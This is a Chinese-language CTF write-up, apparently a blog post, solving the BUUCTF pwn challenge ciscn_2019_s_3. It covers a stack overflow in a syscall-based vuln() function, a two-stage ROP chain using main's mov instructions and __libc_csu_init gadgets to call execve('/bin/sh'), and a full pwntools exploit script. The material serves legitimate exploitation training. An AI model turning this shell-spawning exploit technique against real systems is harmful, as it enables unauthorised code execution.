【BUUCTF-Pwn】ciscn_2019_s_3 WP

【BUUCTF-Pwn】ciscn_2019_s_3

题目来源

BUUCTF

分析

先跑一遍试试,随便输入点啥。

img

重复打印了输入的字符串,以及一堆乱码,最后还接了个 segmentation fault。一开始还以为 libc 不对的问题,patch 了一下发现还是这样释怀了。

直接 checksec 吧。

img

没 PIE 没 Canary 开了 NX。

拖入 IDA。

img
img

64 位程序,可用的函数很少。

继续点进 vuln。

img

signed __int64 vuln()
{
  signed __int64 v0; // rax
  char buf[16]; // [rsp+0h] [rbp-10h] BYREF

  v0 = sys_read(0, buf, 0x400uLL);
  return sys_write(1u, buf, 0x30uLL);
}

这个函数有 push rbp 但是却没有 leave,大概解释了为啥运行起来会 segmentation fault 了。

使用了 syscall 的方式调用 read 和 write 函数输入和输出,读取数据量明显存在栈溢出,显然是一道栈溢出题目,感觉是要用 syscall 的方式调用 execve 执行 sh 了。

字符串搜索没找到 sh,所以得自己输入了。原本还考虑过 syscall 调用 write 输出 got,发现这东西得让 rax 为 1 才行,而 vuln 返回时 rax 已经被改了所以用不了。

看看别的函数,点进 gadgets 和 sub_4004E2。

img
img

一个是 mov rax, 0Fh,一个是 3Bh。后者是 59 也就是 execve 的调用号,可以用它来启动 sh。前者是 sigreturn 的调用号,搜了一下没看懂……但总感觉像是用得上的东西……

要用 syscall 调用 execve("/bin/sh",NULL,NULL),需要使得:

  1. rax 为 59,上面有了。
  2. rdi 为指向 "/bin/sh" 的地址
  3. rsi 和 rdx 均为 0。

ROPgadget 看看能控制些啥。

img

能控制 rdi 和 rsi,但是没法直接任意控制 rax 和 rdx。

先考虑控制 rdi。可以让它指向任何地址,但是我们需要让它指向 /bin/sh,可是哪里能有呢?

重新观察 main 函数发现:

img

这里有两次 mov [rbp+偏移], 寄存器 形式的指令,这意味着只要控制了 rbp 和 edi、rsi 两个中的任意一个就能对任意地址写,然后回到 vuln 进行下一次栈溢出。刚好这三个寄存器都能随意控制。那么只要在 rsi 里写上 "/bin/sh\0"(刚好 8 字节在 64 位寄存器里装得下)并写到一个已知可读的内存地址即可。这里我随便挑了个写到了 .data 段的地址下。

然后还剩下 rdx 没控制,我抱着侥幸心理没控制的情况下运行 syscall,没成,看来必须想个办法了。对着函数表一顿乱翻,找到了这个函数:

img

这里有个 mov rdx, r13,下面又有个 pop r13,这不就可以间接控制了?顺便它还贴心地帮我们控制了 rsi 和 edi。

三个 mov 的下面接着的是一个 call ds:[r12+rbx*8],而 r12 和 rbx 我们都可以在下面控制。刚好之前 main 函数里两个 mov 还有一个没用上,可以让它设置成下一个要跳转的地址,直接让它 call 到 syscall 的位置即可。

这里可能还有两点需要注意。一个是前面的 `mov [rbp+var_4], edi,它只赋值了 32 位也就是 4 字节,拿它存这里的调用地址需要保证前四字节和调用地址一样为 0,不放心大概也能存两次 rsi。

另一个是 mov edi, r15d 也只赋值了 32 位,不放心可能得多 pop rdi 一遍,但是我这里试的好像不多 pop 也是没问题的。

当然我都没仔细试过,反正能跑就行(

exp

from pwn import *

DO_REMOTE = 1
host_name = "node5.buuoj.cn:12345"
test_path = "./ciscn_s_3"
libc_path = "./libc/libc-u18-64.so"

def remote_ip(ip):
    if isinstance(ip, str):
        arr = ip.split(':')
        return remote(arr[0], int(arr[1]))
    else:
        return remote(ip[0], ip[1])

context(os = "linux", arch = "amd64", log_level = "debug")
if DO_REMOTE:
    r = remote_ip(host_name)
else:
    r = process(test_path)


def u64line(data: bytes) -> int:
    return u64(data[:-1].ljust(8, b'\0'))


#gdb.attach(r)

exe = ELF(test_path)
libc = ELF(libc_path) if DO_REMOTE and libc_path != "" else exe.libc

# 杂七杂八的地址
pop_rsi_r15_addr = 0x4005a1
pop_rdi_addr = 0x4005a3
pop_rbp_addr = 0x400440
pop_r_addr = 0x40059a
mov_r_addr = 0x400580
mov_execve_addr = 0x4004e2
syscall_addr = 0x400517
vuln_addr = 0x4004f1
gadgets_addr = 0x4004da
data_addr = 0x601020
leave_addr = 0x400537
main_mov_addr = 0x400525

rop1 = b'b' * 16
# 控制 rbp
rop1 += p64(pop_rbp_addr)
rop1 += p64(data_addr + 16)
rop1 += p64(pop_rdi_addr)
rop1 += p64(syscall_addr)
rop1 += p64(pop_rsi_r15_addr)
rop1 += b'/bin/sh\0'
rop1 += p64(0)
# 给 rbp 指向的地址赋值
rop1 += p64(main_mov_addr)

# 发送第一次 payload
r.sendline(rop1)
r.recvn(48)

rop2 = b'b' * 16
rop2 += p64(mov_execve_addr)
# __libc_csu_init 下方的一大堆 pop,从 pop rbx 开始
rop2 += p64(pop_r_addr)
rop2 += p64(0)
rop2 += p64(1)
rop2 += p64(data_addr + 12)
rop2 += p64(0)
rop2 += p64(0)
rop2 += p64(data_addr)
# __libc_csu_init 上方的 mov 然后 call 的地方
rop2 += p64(mov_r_addr)
# 没用的返回(
rop2 += p64(main_mov_addr)

# 发送第二次 payload
r.sendline(rop2)

r.interactive()

后记

做完了开开心心去看一眼别人的题解怎么写的……

嗯?write 泄露栈地址?sigreturn 控制全部寄存器?

我不到啊(

img

posted @ 2026-02-04 15:33  BearBrine  阅读(8)  评论(0)    收藏  举报